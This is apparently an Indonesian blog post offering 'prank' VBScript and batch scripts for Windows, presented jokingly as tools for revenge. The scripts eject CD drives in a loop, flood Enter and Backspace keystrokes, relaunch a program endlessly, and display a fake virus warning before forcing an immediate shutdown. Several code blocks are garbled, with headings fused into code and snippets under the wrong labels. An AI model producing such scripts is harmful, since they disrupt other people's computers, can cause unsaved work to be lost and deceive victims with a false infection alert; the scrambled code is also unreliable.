Cara gunainnya seperti biasa lewat Notepad, Untuk melihatnya Baca Postingan sebelumnya
1. Meng-eject Drive CD-Room Terus-Menerus
Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
2. Tombol Enter Terus-terusan Aktif
Code:
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
3. Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)
Code:
4. Iseng Dengan Membuka Calculator Terus MenerusMsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Code:
5. Iseng Dengan Shutdown Komputer@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
Code:
Semoga Bermanfaat buat Balas Dendam.. hehe@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
0 comments:
Post a Comment